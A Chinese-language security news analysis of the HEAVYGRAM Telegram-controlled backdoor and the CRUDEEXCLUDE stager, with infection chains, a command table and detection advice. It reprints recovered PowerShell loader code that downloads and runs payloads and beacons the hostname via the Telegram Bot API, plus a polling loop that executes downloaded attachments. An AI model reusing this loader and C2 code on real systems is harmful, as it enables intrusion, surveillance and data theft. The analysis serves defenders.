1. 簡介

報告針對 HEAVYGRAM 進行技術分析,這是一款以 Python 撰寫並透過 PyInstaller 編譯的多功能 Windows 後門程式 ,以及 CRUDEEXCLUDE ,這是一款使用 Delphi 的暫存工具,用於準備受害者環境以部署植入程式 [1] 。HEAVYGRAM 首次於 2023 年 9 月 13 日被觀察到,CRUDEEXCLUDE 則於 2024 年 7 月 26 日出現,研究中記錄了 spanning loader 與 payload 的 29 個新樣本 [1] 。這兩個家族濫用 Telegram Bot API 而非專用的 C2 伺服器:bot token 與群組或使用者識別碼嵌入在設定資料中,因此控制流量混入廣泛使用的加密通訊服務中,且無需託管惡意基礎設施 [1] 。該植入程式支援遠端命令執行、系統、網路與程序發現、資料與 Telegram session 外洩、螢幕截圖擷取、DLL side-loading、檔案清理,以及利用 registry entry 的持久化 [1]

HEAVYGRAM 樣本分析!揭開 CRUDEEXCLUDE 與 Telegram Bot API C2 的關聯! | 資訊安全新聞

2. 感染鏈與第一階段交付

觀察到兩種 Delivery chain [1] 。在 chain A(Staged delivery)中,第一階段開啟誘餌檔案,解壓縮已放置或下載的 ZIP 檔案,並啟動植入程式,隨後該程式會與 Telegram 通訊。在 chain B(Direct polling)中,沒有植入程式被分段放置:第一階段本身會向 Telegram Polling 以取得後續 payload。四種第一階段向量負責交付這些 chain [1] :執行 PowerShell cradle 的 WSF/VBS 腳本;Polling bot API 的 VBS 腳本與 HTML Applications (HTA);Embedded archive 的可執行檔;以及 Embedded archive 並額外註冊 Defender 排除項的 CRUDEEXCLUDE 可執行檔。

sequenceDiagram autonumber participant OP as Operator cluster participant TG as Telegram bots and groups participant V as Victim host participant FS as First stage participant IM as HEAVYGRAM implant OP->>V: Establish contact via messaging app and send lure V->>FS: Victim executes first stage alt Chain A staged delivery FS->>V: Write download or embed decoy and open it FS->>V: Drop ZIP archive then extract it FS->>IM: Execute HEAVYGRAM implant IM->>TG: Command and control over bot API else Chain B direct polling FS->>TG: Poll for additional payloads and stages TG-->>FS: Return updates and attachments FS->>FS: Execute fetched stages end OP->>TG: Manage operator accounts groups and bots

圖 1. Killchain。

以下從 WSF 第一階段恢復的 PowerShell cradle 展示了 Staged-delivery model [1]

  1. # =====================================================================
  2. # HEAVYGRAM Stage-1 PowerShell cradle (recovered from an obfuscated WSF)
  3. # - The VBScript wrapper first checks that the C: drive volume is larger
  4. # than 50 GB: a cheap anti-sandbox / anti-VM heuristic
  5. # - Downloads a PPTX decoy to %TEMP% and opens it, keeping the victim
  6. # convinced that a legitimate document was received
  7. # - Downloads a ZIP archive from cloud object storage (Vultr bucket)
  8. # - Expands the archive into a GUID-named directory under C:\ProgramData
  9. # (a world-writable staging area commonly abused by malware)
  10. # - Launches RuntimeSSH.exe: the HEAVYGRAM persistent implant
  11. # (URLs defanged as hxxps in the original publication [1])
  12. # =====================================================================
  13. $path2 = $Env:temp+'\Artificial intelligence.pptx.pptx';
  14. $client2 = New-Object System.Net.WebClient;
  15. $client2.downloadfile(
  16. 'hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/
  17. Artificial%20intelligence.pptx',
  18. $path2);
  19. Start-Process -FilePath $path2;
  20. $path3 = $Env:temp+'\a650bc3533b424d03[.]zip';
  21. $client3 = New-Object System.Net.WebClient;
  22. $client3.downloadfile(
  23. 'hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/efg_d4[.]zip',
  24. $path3);
  25. Expand-Archive `
  26. -Path $path3 `
  27. -DestinationPath `
  28. 'C:\ProgramData\ssh-cache-default\
  29. {8bda3848-495e-43f4-8d10-7d37a67f1604}' `
  30. -Force;
  31. Start-Process `
  32. -FilePath `
  33. 'C:\ProgramData\ssh-cache-default\
  34. {8bda3848-495e-43f4-8d10-7d37a67f1604}\
  35. RuntimeSSH.exe'

第二類第一階段完全跳過本地暫存。在 HTA 變體中,執行的 PowerShell 會收集機器 hostname,並在執行任何其他動作之前,透過 bot sendMessage endpoint 將其回報給 Telegram chat [1]

  1. # =====================================================================
  2. # Chain-B check-in: the first stage phones home through the Telegram
  3. # Bot API sendMessage endpoint
  4. # - hostname is embedded in the message text so operators can identify
  5. # the newly compromised machine inside the operator chat
  6. # - chat_id targets a private group; the bot token is hardcoded
  7. # - using a legitimate cloud API means the beacon is TLS-encrypted and
  8. # indistinguishable from benign automation at first glance
  9. # =====================================================================
  10. $hn = hostname; $response = Invoke-RestMethod
  11. -Uri "hxxps://api[.]telegram[.]org/bot783XXXX576:
  12. /sendMessage?chat_id=-100239XXXX515&text=🟢
  13. ``$hn``%20is%20online&parse_mode=Markdown" -Method Get;

接著腳本定義了一個 Polling 函數,該函數呼叫 bot getUpdates endpoint,並保持 offset cursor,確保每個 update 僅處理一次 [1]

  1. # =====================================================================
  2. # Get-BotUpdates: long-poll client for the Telegram Bot API
  3. # - offset cursor gives at-most-once processing: after an update is
  4. # handled, the caller advances offset to update_id + 1
  5. # - no custom protocol is needed: a plain HTTPS GET against a legitimate
  6. # cloud endpoint, which is exactly why this traffic blends in
  7. # =====================================================================
  8. function Get-BotUpdates {
  9. param (
  10. [int]$offset = 0
  11. )
  12. $address2 = "$address/getUpdates?offset=$offset"
  13. $response = Invoke-RestMethod -Uri $address2 -Method Get
  14. return $response.result
  15. }

下載的附件純粹依據副檔名進行 dispatch:ZIP archive 會被展開至 C:\ProgramData\Kee_Pass ,並在腳本結束前以 hardcoded 參數執行其中的 KeePass.exe;其他類型的檔案則直接啟動 [1]

  1. # =====================================================================
  2. # BringContent: download-and-dispatch logic for bot attachments
  3. # - Resolves the storage path via getFile, then pulls the binary from
  4. # the Telegram file endpoint into %TEMP%
  5. # - Filename branching decides what runs next:
  6. # * ends with "zip" -> expand to C:\ProgramData\Kee_Pass, execute
  7. # the bundled KeePass.exe with a hardcoded argument, then exit
  8. # * anything else -> execute the downloaded file directly
  9. # * ends with "exe" -> exit after execution (single-shot handoff)
  10. # =====================================================================
  11. function BringContent {
  12. param (
  13. [string]$contentId,
  14. [string]$contentName
  15. )
  16. $contentPathResponse = Invoke-RestMethod `
  17. -Uri "$address/getFile?file_id=$contentId" `
  18. -Method Get
  19. $contentPath = $contentPathResponse.result.file_path
  20. $bringAddress = "hxxps://api[.]telegram[.]org/file/" +
  21. "bot772XXXX818:/$contentPath"
  22. $destination = Join-Path `
  23. -Path $local_path `
  24. -ChildPath $contentName
  25. Invoke-WebRequest `
  26. -Uri $bringAddress `
  27. -OutFile $destination
  28. Get-BotUpdates -offset $offset
  29. if ($contentName.EndsWith("zip")) {
  30. Expand-Archive `
  31. -Path $destination `
  32. -DestinationPath "C:\ProgramData\Kee_Pass" `
  33. -Force
  34. Start-Process `
  35. -FilePath "C:\ProgramData\Kee_Pass\KeePass.exe" `
  36. -ArgumentList "am22350022003300440055"
  37. exit
  38. } else {
  39. Start-Process `
  40. -FilePath "$local_path\$contentName"
  41. }
  42. if ($contentName.EndsWith("exe")) {
  43. exit
  44. }
  45. }

最後,lockfile 強制單一實例執行,發出 check-in 訊息,並進入無限迴圈每秒 Polling 一次 updates [1]

  1. # =====================================================================
  2. # Single-instance guard via lockfile, then the main polling loop
  3. # - C:\ProgramData\lockfile49c4e.lock prevents two copies from racing
  4. # - "is online now!" acts as the initial beacon / log line
  5. # - while($true): poll getUpdates every second; every message carrying
  6. # a document is handed to BringContent for download and dispatch
  7. # =====================================================================
  8. try {
  9. $lockFilePath = "C:\ProgramData\lockfile49c4e.lock"
  10. if (Test-Path $lockFilePath) {
  11. PrintLog -message "Another instance is already active. Exiting..."
  12. exit
  13. } else {
  14. New-Item -Path $lockFilePath -ItemType File -Force | Out-Null
  15. }
  16. } catch {
  17. PrintLog -message $_
  18. }
  19. PrintLog -message "is online now!"
  20. $offset = 0
  21. while ($true) {
  22. try {
  23. $updates = Get-BotUpdates -offset $offset
  24. foreach ($update in $updates) {
  25. $offset = $update.update_id + 1
  26. if ($update.message.document) {
  27. $contentId = $update.message.document.file_id
  28. $contentName = $update.message.document.file_name
  29. BringContent -contentId $contentId -contentName $contentName
  30. }
  31. }
  32. Start-Sleep 1
  33. }
  34. catch {
  35. PrintLog -message $_
  36. }
  37. }

這些程式碼片段完整記錄了 chain B:第一階段成為其自身的 C2 client,透過利用副檔名的分支將每個 Delivered file 轉化為執行決策,而 lockfile 與 offset bookkeeping 則保持其單一實例與可靠性。

3. 持久化植入程式:Prefix-Route 命令套件

持久化植入程式是一個 PyInstaller 可執行檔,其捆綁的 config.py 包含 hardcoded 設定字串,而加密的 rantom.txt 則攜帶僅在執行時期解密的客製化函數定義 [1] 。啟動時,植入程式建立 mutex,將其設定寫入 %APPDATA%\Config\config.xml ,讀回 bot token 與 operator user 或 group ID,並收集 hostname [1] 。註冊了兩個 handlers: analyze_command 用於文字, downloader 用於附件 [1]

文字命令透過前綴分隔符系統進行 route。雙 @ 前綴透過 os.popen 將訊息主體作為任意系統命令執行,並將輸出返回至 C2 通道;雙星號前綴將主體寫入 C:\ProgramData\ur.txt ,可能用於暫存設定更新、次要 payload 或 operator note;雙井號前綴則啟用更豐富的 backdoor 套件 [1]

表 1. HEAVYGRAM 植入程式的雙井號命令套件 [1]
命令 功能
runexe 在主機上啟動任意程序
whois 透過 api.ipify.org 取得主機的公開 IP address
runtro 執行次要 trojan payload
cht 動態更新 C2 bot token 與 operator user ID
regtro 將 trojan payload 安裝至 Windows autorun registry keys
reg 將主要惡意軟體可執行檔安裝至 Windows autorun registry keys
dt 從 %APPDATA%\Telegram Desktop 與 %LOCALAPPDATA%\Packages\TelegramMessengerLLP 外洩 Telegram Desktop 資料
si 執行 systeminfo 並外洩主機詳細資料
pl 列舉正在執行的程序,包括存取層級資訊
ss 擷取並外洩作用中桌面的螢幕截圖

cht 命令就地替換 bot token 與 operator ID,使基礎設施輪替無需重新部署植入程式 [1] dt 命令鎖定 Telegram Desktop session 資料,支援透過 session 竊取實現帳號接管 [1] 。附件處理純粹由檔名驅動 [1] :以 dev bit kee 開頭的 DLL 觸發 DLL side-loading — 合法的 bthudtask.exe C:\Windows\SysWOW64 複製到偽造的 C:\Windows \SysWOW64 (故意加上尾部空格),執行以 side-load 攻擊者 DLL,隨後刪除偽造目錄。名為 reg*.zip 的archive前往 C:\ProgramData\SMQDServicePackages\488ht1-8ww648q ;通用 ZIP 放置在 %APPDATA%\SMQDService 並解壓縮至 %ALLUSERSPROFILE%\MicrosoftDistribution\sysmain keepass.exe 前往 C:\ProgramData\KeePass\ ;通用可執行檔下載至 %APPDATA%\SMQDService 並執行 [1]

sequenceDiagram participant OP as Operator participant TG as Telegram bot API participant IM as Implant handlers participant W as Windows host IM->>TG: send initial message beacon with domain name loop Every 24 hours IM->>TG: send health msg heartbeat end OP->>TG: Send text command or attachment TG-->>IM: Deliver update alt Text with double-at prefix IM->>W: Run body via os popen IM-->>TG: Reply with command output else Text with double-asterisk prefix IM->>W: Write body to C ProgramData ur dot txt else Text with double-hash prefix IM->>W: Backdoor suite runexe whois runtro cht regtro reg dt si pl ss else Attachment dll starting dev bit kee IM->>W: Copy bthudtask dot exe to spoofed SysWOW64 with trailing space W->>W: Execute and side-load attacker dll IM->>W: Delete spoofed directory and contents else Attachment zip or exe IM->>W: Stage extract and execute per filename rules end

圖 2. 植入程式 C2 處理與 side-loading 行為。

植入程式的存活狀態由兩個函數維持: send_initial_message 傳送攜帶完整電腦 domain name 的初始 beacon,而 send_health_msg 是一個背景 thread,每 24 小時發出 heartbeat [1]

4. Telegram 基礎設施佈局

觀察到兩種基礎設施佈局 [1] 。單一 bot 設定使用一個 bot 與一個群組擔任整個 C2 角色。雙 bot 設定使用一個 bot 用於受害者 check-in 與 user 或 group,另一個次要 bot 用於 logging 與 stage Polling 並搭配一個群組;多個 bot、users 與 groups 在不同樣本間重複使用 [1] 。這種設計產生了原生加密通道,設置、維護與輪替成本極低,且無需託管專屬惡意基礎設施 [1]

sequenceDiagram
    participant H as Infected host
    participant B1 as Check-in bot
    participant U as Operator user or group
    participant B2 as Logging and stage-polling bot
    participant G2 as Group
    H->>B1: Check-in beacon
    B1->>U: Forward check-in to operator
    H->>B2: Logging messages
    B2->>G2: Forward logs to group
    H->>B2: Stage-polling requests
    B2-->>H: Additional payloads and stages

圖 3. Dual-bot cluster:check-in、logging 與 stage Polling 分散 across bots [1]

5. 與其他濫用 Telegram 工具的比較

濫用 Telegram 作為 C2 與外洩通道是一種 recurring pattern 。StallionRAT 是一款以 Go、PowerShell 與 Python 實作的 RAT,使用 Telegram bot 作為其 C2 通道,用於任意命令、檔案管理與資料竊取 ( StallionRAT Telegram C2 decoded )。PupkinStealer 是一款 .NET stealer,使用非同步任務與 Bot API 進行隱蔽外洩 ( PupkinStealer analysis )。一款利用 Go 的 backdoor 同樣使用 NewBotAPIWithClient 建構其 bot,並透過 GetUpdatesChan 執行命令,顯示官方 Bot API 本身就足以提供完整的 remote shell [2] 。HEAVYGRAM 在成熟度上脫穎而出:具備前綴路由命令套件、附件驅動的暫存、side-loading 與備援雙 bot 基礎設施。

6. 偵測與緩解措施

防禦優先事項直接源自這些機制 [1] :審核 HKCU 與 HKLM Run keys 是否有未經授權的項目,例如 SMQDService winappx ;搜尋偽造的 C:\Windows \ 尾部空格目錄;對 bthudtask.exe 在其合法路徑之外執行發出警報;標記來自非標準程序的 os.popen 風格 shell 執行;監控對 Telegram Desktop 資料目錄的未經授權存取;限制從 %APPDATA% C:\ProgramData 執行;對未簽署的 side-loaded DLL 強制執行程式碼簽署驗證;以及在 Telegram 非經批准工具的情況下審查或封鎖出站 bot API 流量 [1] 。由於初始執行依賴具說服力的誘餌,驗證透過通訊頻道接收的軟體仍是最有效的預防控制措施 [1]

7. 結論

HEAVYGRAM 展示了商品化構建區塊 — PyInstaller 封裝、PowerShell cradles、Defender 排除濫用,以及合法的雲端通訊 API — 如何組成靈活的監控工具鏈。其 Prefix-Route 命令套件、檔名驅動的附件 dispatch,以及雙 bot 基礎設施反映了仔細的操作設計,而 CRUDEEXCLUDE 則將防禦規避盡早推入感染鏈 [1] 。更廣泛的教訓是:C2 不再需要可疑的基礎設施,因此監控合法的雲端 API 及其檔案系統 Artifact 現在是核心偵測需求。

參考資料

  1. HEAVYGRAM: A Telegram-based Surveillance Backdoor Linked to Handala Hack
  2. Telegram Abused as C2 Channel for New Golang Backdoor